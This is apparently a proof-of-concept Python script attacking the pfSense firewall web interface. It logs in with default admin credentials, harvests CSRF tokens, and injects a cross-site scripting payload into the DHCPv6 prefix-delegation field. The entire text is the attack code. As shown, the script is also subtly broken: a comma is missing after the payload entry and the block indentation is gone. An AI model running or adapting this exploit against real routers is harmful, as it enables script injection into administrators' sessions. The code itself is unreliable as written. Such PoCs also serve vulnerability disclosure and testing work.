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#!/usr/bin/env python3
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import requests
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requests.packages.urllib3.disable_warnings()
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from bs4 import BeautifulSoup
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baseurl = 'https://192.168.1.1'
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target = baseurl + '/services_dhcpv6.php'
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login_data = {
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'login' : 'Login',
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'usernamefld' : 'admin',
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'passwordfld' : 'pfsense',
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}
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target_data = {
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"if": "lan",
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"pdprefix": "2001:db8:12:34::",
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"pdprefixlen": "64",
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"pddellen": '64" || alert(\"XSS\") || \"'
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"denyunknown": "disabled",
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"save": "Save",
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}
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headers = {'user-agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0'}
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with requests.Session() as s:
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# Fetch CSRF token from login page
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r = s.get(baseurl, headers=headers, verify=False)
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soup = BeautifulSoup(r.text, 'lxml')
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login_data['__csrf_magic'] = soup.find('input', attrs = { 'name' : '__csrf_magic' })['value']
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# Login
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r = s.post(baseurl, data=login_data, headers=headers)
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# Find the next CSRF token
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soup = BeautifulSoup(r.text, 'lxml')
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target_data['__csrf_magic'] = soup.find('input', attrs = { 'name' : '__csrf_magic' })['value']
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# Submit actual request
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r = s.post(target, data=target_data, headers=headers)
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# Dump input errors from response
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soup = BeautifulSoup(r.text, 'lxml')
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input_errors = [errors.text for errors in soup.select('div.input-errors ul li')]
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if (input_errors):
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print("Input errors:\n")
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for ie in input_errors:
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print("* " + ie + "\n")
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print('Done')
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